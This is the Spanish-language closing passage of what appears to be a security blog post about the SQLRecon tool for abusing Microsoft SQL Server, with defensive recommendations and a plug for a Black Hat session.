Al abusar de SQL Server, los adversarios pueden obtener acceso no autorizado a datos confidenciales, manipular bases de datos e incluso comprometer sistemas enteros. Las consecuencias de estos ataques pueden ser graves y provocar vulneraciones de datos, pérdidas financieras y daños a la reputación de una organización.

Para mitigar el riesgo de estos ataques, es fundamental que las organizaciones revisen sus configuraciones de SQL Server y adopten buenas prácticas de seguridad. Además, las organizaciones deben invertir en soluciones de seguridad que proporcionen capacidades de monitorización en tiempo real, detección de anomalías y análisis del comportamiento. Estas soluciones pueden ayudar a detectar y responder a los ataques de manera más efectiva, minimizando el impacto potencial en datos y sistemas críticos. Al tomar medidas proactivas para proteger los entornos de SQL Server, las organizaciones pueden reducir significativamente el riesgo de ser víctimas de estos ataques y proteger sus valiosos activos de datos.

Siempre puede encontrar la última versión estable de SQLRecon  en la página de Github de X-Force Red.

Si va a acudir a Black Hat Las Vegas y está interesado en obtener más información, puede asistir a mi sesión: Abusar de Microsoft SQL Server con SQLRecon el jueves 10 de agosto a las 13:00 PT.